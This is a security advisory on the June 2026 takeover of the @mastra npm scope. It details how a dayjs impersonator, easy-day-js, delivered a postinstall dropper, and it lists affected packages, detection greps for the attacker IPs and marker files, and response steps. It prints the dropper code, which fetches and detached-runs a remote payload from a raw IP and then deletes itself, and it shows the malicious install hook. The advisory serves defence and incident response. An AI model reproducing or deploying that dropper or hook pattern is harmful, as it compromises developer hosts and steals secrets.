critical
CVE
Not assigned
CWE
CWE-506, CWE-494, CWE-829
Affected Surface
141 compromised `@mastra/*` packages plus the top-level `mastra` and `create-mastra` packages published on 17 June 2026, Mastra-based AI agent applications and toolchains using packages such as `@mastra/core`, `@mastra/mcp`, `@mastra/ai-sdk`, `@mastra/server`, `mastra`, or `create-mastra`, Developer workstations and CI runners that performed fresh npm installs and resolved `easy-day-js@1.11.22`, Hosts exposing LLM API keys, cloud credentials, npm tokens, GitHub tokens, or browser wallet data to Node.js processes
The most important new supply-chain story in the last three days is the 17 June takeover of the @mastra npm scope. Multiple security teams independently observed the same core pattern: the attacker did not need to backdoor Mastra’s TypeScript source, inject a native addon, or slip a payload into the visible application code. A compromised publisher account was enough to republish almost the entire scope with a one-line dependency addition that let npm do the rest.
The technical trick was small:
"dependencies": {
+ "easy-day-js": "^1.11.21",
...
}
That line is why this incident matters to AppSec teams. The carrier packages remained operationally “clean-looking” while the real malicious logic lived one dependency lower in easy-day-js@1.11.22. Any environment that performed a fresh install of an affected Mastra package after the malicious dependency was armed should be treated as having executed attacker-controlled code.
Count the incident carefully
Public reporting uses several different numbers for the Mastra blast radius. The discrepancy is mostly about what is being counted:
141compromised@mastra/*packages.143affected Mastra packages if you add the top-levelmastraandcreate-mastrapackages.144affected artifacts if you also count the malicious dependencyeasy-day-js.
Mastra’s later public incident writeup uses a narrower 116 malicious packages figure. That appears to be the vendor’s own remediated-publish accounting rather than a contradiction of the broader third-party package inventories captured during the attack window. For defenders, the practical answer is simpler than the counting debate: if you install from the Mastra ecosystem during the exposure window, search for the injected dependency and treat the host as exposed when it resolves to easy-day-js@1.11.22.
The semver carrier pattern
The attacker staged the dependency in two steps:
- Publish
easy-day-js@1.11.21on 16 June as a clean-lookingdayjsimpersonator. - Publish
easy-day-js@1.11.22on 17 June with the malicious install hook, then republish Mastra packages with"easy-day-js": "^1.11.21".
That choice of version range is the entire point. The carrier packages did not need to mention 1.11.22 explicitly. A normal npm resolution of ^1.11.21 automatically selected the newest compatible patch release:
@mastra/core package.json
-> easy-day-js ^1.11.21
-> npm resolves latest matching patch
-> easy-day-js 1.11.22
-> postinstall runs setup.cjs
This is one of the reasons registry-artifact review matters more than source-repository review during supply-chain response. The attack surface is not just “what changed in Git.” It is also “what new dependency range did the published tarball introduce, and what did the registry serve for that range at install time?”
The malicious package did not need to look malicious
The easy-day-js package reportedly copied the legitimate dayjs description, repository metadata, homepage, and bundled dayjs.min.js to minimize visual differences during cursory inspection. The meaningful change was the added install hook:
{
"scripts": {
"postinstall": "node setup.cjs --no-warnings"
}
}
The 1.11.21 release was the decoy. The 1.11.22 release was the armed version. That distinction matters because defenders who only inspected the original injected version string in the Mastra package manifests could falsely conclude the dependency was harmless.
What setup.cjs does
Public reverse engineering across Aikido, StepSecurity, Endor Labs, and Snyk aligns on the same stage-one logic. Stripped to the operational core, the dropper looks like this:
process.env.NODE_TLS_REJECT_UNAUTHORIZED = "0";
const payload = await (await fetch("https://23.254.164.92:8000/update/49890878")).text();
const filename = crypto.randomBytes(12).toString("hex") + ".js";
const filepath = path.join(os.tmpdir(), filename);
fs.writeFileSync(filepath, payload, "utf8");
child_process.spawn(process.execPath, [filepath, "23.254.164.123:443"], {
cwd: os.tmpdir(),
detached: true,
stdio: "ignore",
windowsHide: true
}).unref();
fs.rmSync(__filename, { force: true });
Several implementation details are worth calling out:
NODE_TLS_REJECT_UNAUTHORIZED = "0"disables certificate validation so the raw-IP HTTPS download succeeds even if the server presents an untrusted certificate.- The payload is fetched at install time, not bundled in the npm tarball, which reduces static package-diff visibility.
- The random temp-file write plus
detached: trueand.unref()turns the second stage into a background process that can survive the package-manager session. fs.rmSync(__filename, { force: true })deletes the stage-one file after execution, removing the most obvious package-tree artifact.
Some reports also observed marker files such as .pkg_history and .pkg_logs, which means the dropper was not only executing code but leaving behind host-local state that could help the operator track installs or coordinate follow-on behavior.
Why Mastra was a high-value target
Mastra is not “just another npm namespace.” It is an AI-agent framework that commonly runs close to the exact secrets modern AppSec teams worry about:
OPENAI_API_KEY,ANTHROPIC_API_KEY,GOOGLE_API_KEY- cloud credentials and workload identities
- GitHub and npm publishing credentials
- CI runner secrets
- browser wallets or other user-local tokens on developer workstations
That target profile is reinforced by the package choices. The attacker did not hit only the core framework package. The compromised set spans:
- framework core:
@mastra/core,@mastra/server,mastra,create-mastra - AI/provider integrations:
@mastra/openai,@mastra/claude,@mastra/perplexity,@mastra/ai-sdk - MCP and agent tooling:
@mastra/mcp,@mastra/mcp-docs-server,@mastra/mcp-registry-registry - storage and vector backends:
@mastra/pg,@mastra/libsql,@mastra/mongodb,@mastra/qdrant,@mastra/pinecone,@mastra/opensearch - observability and deployment surfaces:
@mastra/observability,@mastra/loggers,@mastra/deployer,@mastra/deployer-cloudflare,@mastra/deployer-vercel
That spread strongly suggests a scope-wide scripted publish sweep rather than a one-off attack against a single high-download package.
Affected packages
The highest-profile compromised versions that multiple sources corroborate include:
@mastra/schema-compat@1.2.12@mastra/core@1.42.1mastra@1.13.1create-mastra@1.13.1@mastra/memory@1.20.4@mastra/server@2.1.1@mastra/deployer@1.42.1@mastra/loggers@1.1.3@mastra/observability@1.14.2@mastra/mcp@1.10.1@mastra/ai-sdk@1.4.6
For lockfile and package-cache scoping, use the broader verified package inventory below. This list covers the 143 affected Mastra package names observed across public inventories, excluding the separate malicious dependency easy-day-js:
create-mastra@1.13.1
mastra@1.13.1
@mastra/acp@0.2.2
@mastra/agent-browser@0.3.2
@mastra/agent-builder@1.0.42
@mastra/agentcore@0.2.2
@mastra/agentfs@0.1.1
@mastra/ai-sdk@1.4.6
@mastra/arize@1.2.3
@mastra/arthur@0.3.3
@mastra/astra@1.0.2
@mastra/auth@1.0.3
@mastra/auth-auth0@1.0.2
@mastra/auth-better-auth@1.0.4
@mastra/auth-clerk@1.0.3
@mastra/auth-cloud@1.1.4
@mastra/auth-firebase@1.0.1
@mastra/auth-okta@0.0.5
@mastra/auth-studio@1.2.4
@mastra/auth-supabase@1.0.2
@mastra/auth-workos@1.5.3
@mastra/azure@0.2.3
@mastra/blaxel@0.4.2
@mastra/braintrust@1.1.4
@mastra/brightdata@0.2.2
@mastra/browser-firecrawl@0.1.1
@mastra/browser-viewer@0.1.3
@mastra/chroma@1.0.2
@mastra/claude@1.0.3
@mastra/clickhouse@1.10.1
@mastra/client-js@1.24.1
@mastra/cloud@0.1.24
@mastra/cloudflare@1.4.2
@mastra/cloudflare-d1@1.0.7
@mastra/codemod@1.0.4
@mastra/convex@1.2.2
@mastra/core@1.42.1
@mastra/couchbase@1.0.4
@mastra/cursor@0.2.1
@mastra/dane@1.0.2
@mastra/datadog@1.2.5
@mastra/daytona@0.4.2
@mastra/deployer@1.42.1
@mastra/deployer-cloud@1.42.1
@mastra/deployer-cloudflare@1.1.44
@mastra/deployer-netlify@1.1.20
@mastra/deployer-vercel@1.1.38
@mastra/docker@0.3.1
@mastra/dsql@1.0.3
@mastra/duckdb@1.4.3
@mastra/dynamodb@1.0.9
@mastra/e2b@0.3.4
@mastra/editor@0.11.3
@mastra/elasticsearch@1.2.1
@mastra/engine@0.1.1
@mastra/evals@1.3.1
@mastra/express@1.3.31
@mastra/fastembed@1.1.3
@mastra/fastify@1.3.31
@mastra/files-sdk@0.2.1
@mastra/gcs@0.2.3
@mastra/github-signals@0.1.2
@mastra/google-cloud-pubsub@1.0.6
@mastra/google-drive@0.1.1
@mastra/hono@1.4.26
@mastra/inngest@1.5.2
@mastra/koa@1.5.14
@mastra/laminar@1.2.3
@mastra/lance@1.0.7
@mastra/langfuse@1.3.6
@mastra/langsmith@1.2.4
@mastra/libsql@1.13.1
@mastra/loggers@1.1.3
@mastra/longmemeval@1.0.50
@mastra/mcp@1.10.1
@mastra/mcp-docs-server@1.1.47
@mastra/mcp-registry-registry@1.0.2
@mastra/mem0@0.1.14
@mastra/memory@1.20.4
@mastra/modal@0.2.2
@mastra/mongodb@1.9.3
@mastra/mssql@1.3.2
@mastra/mysql@0.1.1
@mastra/nestjs@0.1.15
@mastra/node-audio@0.1.8
@mastra/node-speaker@0.1.1
@mastra/observability@1.14.2
@mastra/openai@1.0.2
@mastra/opencode@0.0.47
@mastra/opensearch@1.0.3
@mastra/otel-bridge@1.2.3
@mastra/otel-exporter@1.2.3
@mastra/perplexity@0.1.1
@mastra/pg@1.13.1
@mastra/pinecone@1.0.2
@mastra/playground-ui@33.0.1
@mastra/posthog@1.0.29
@mastra/qdrant@1.0.3
@mastra/rag@2.2.2
@mastra/railway@0.1.1
@mastra/react@1.0.1
@mastra/redis@1.1.3
@mastra/redis-streams@0.0.4
@mastra/s3@0.5.3
@mastra/s3vectors@1.0.7
@mastra/schema-compat@1.2.12
@mastra/sentry@1.1.4
@mastra/server@2.1.1
@mastra/slack@1.3.1
@mastra/spanner@1.1.2
@mastra/speech-azure@0.2.1
@mastra/speech-elevenlabs@0.2.1
@mastra/speech-google@0.2.1
@mastra/speech-ibm@0.2.1
@mastra/speech-murf@0.2.1
@mastra/speech-openai@0.2.1
@mastra/speech-replicate@0.2.1
@mastra/speech-speechify@0.2.1
@mastra/stagehand@0.2.5
@mastra/tavily@1.0.3
@mastra/temporal@0.1.14
@mastra/turbopuffer@1.0.3
@mastra/twilio@1.0.2
@mastra/upstash@1.1.3
@mastra/vectorize@1.0.3
@mastra/vercel@1.0.1
@mastra/voice-aws-nova-sonic@0.1.4
@mastra/voice-azure@0.11.2
@mastra/voice-cloudflare@0.12.3
@mastra/voice-deepgram@0.12.2
@mastra/voice-elevenlabs@0.12.2
@mastra/voice-gladia@0.12.2
@mastra/voice-google@0.12.3
@mastra/voice-google-gemini-live@0.12.2
@mastra/voice-inworld@0.3.1
@mastra/voice-modelslab@0.1.2
@mastra/voice-murf@0.12.3
@mastra/voice-openai@0.12.3
@mastra/voice-openai-realtime@0.12.6
@mastra/voice-playai@0.12.2
@mastra/voice-sarvam@1.0.2
@mastra/voice-speechify@0.12.2
@mastra/voice-xai-realtime@0.1.2
Track the malicious dependency separately:
easy-day-js@1.11.21 clean decoy release
easy-day-js@1.11.22 malicious postinstall dropper
Detection and scoping
Start with dependency and lockfile searches:
npm ls easy-day-js @mastra/core mastra create-mastra
pnpm why easy-day-js
yarn why easy-day-js
rg -n "easy-day-js|@mastra/" \
package-lock.json pnpm-lock.yaml yarn.lock npm-shrinkwrap.json
Then inspect installed package trees or caches for the stage-one markers:
rg -n '"postinstall": "node setup\\.cjs --no-warnings"' node_modules ~/.npm
rg -n "NODE_TLS_REJECT_UNAUTHORIZED|23\\.254\\.164\\.92|23\\.254\\.164\\.123|\\.pkg_history|\\.pkg_logs" \
node_modules ~/.npm "$HOME"
On Linux workstations and runners, also check for persistence or detached second-stage activity in temp and user-service locations:
ls -la ~/.pkg_history ~/.pkg_logs 2>/dev/null
ls -la ~/.config/systemd/user 2>/dev/null
rg -n "23\\.254\\.164\\.123|NodePackages|nvmconf" ~/.config/systemd/user "$HOME"
Because some malicious versions were unpublished or superseded quickly, historical registry timestamps may be a better forensic source than a simple current npm view <package>@<version> lookup. If you are reconstructing what a runner resolved during the exposure window, preserve lockfiles, npm cache contents, and CI logs before cleanup.
Response guidance
Treat installation of any affected version as code execution on the installing host.
- Isolate affected developer workstations or CI runners before broad credential rotation.
- Preserve lockfiles, npm cache entries, workflow logs, and any
.pkg_history/.pkg_logsartifacts. - Rebuild from a clean lockfile and clean package versions rather than trusting in-place dependency edits.
- Rotate GitHub, npm, cloud, AI-provider, SSH, and other secrets reachable from the affected host.
- Audit for persistence and follow-on payload execution, not just the presence of
easy-day-jsin the current dependency tree.
The key lesson is that the visible package you install is no longer the whole security boundary. In the Mastra incident, the meaningful backdoor was a one-line dependency change plus semver resolution. If your review workflow still treats a clean-looking package.json diff as low risk when it adds an unused dependency, the attacker already knows where to hide.
References
- Aikido: Over 140 popular Mastra npm Packages Hit by Supply Chain Attack
- StepSecurity: Mastra npm Supply Chain Attack
- Endor Labs: Mastra npm Org Compromised
- Snyk: Mastra npm Scope Takeover
- Mastra incident issue
- CWE-506 Embedded Malicious Code
- CWE-494 Download of Code Without Integrity Check
- CWE-829 Inclusion of Functionality from Untrusted Control Sphere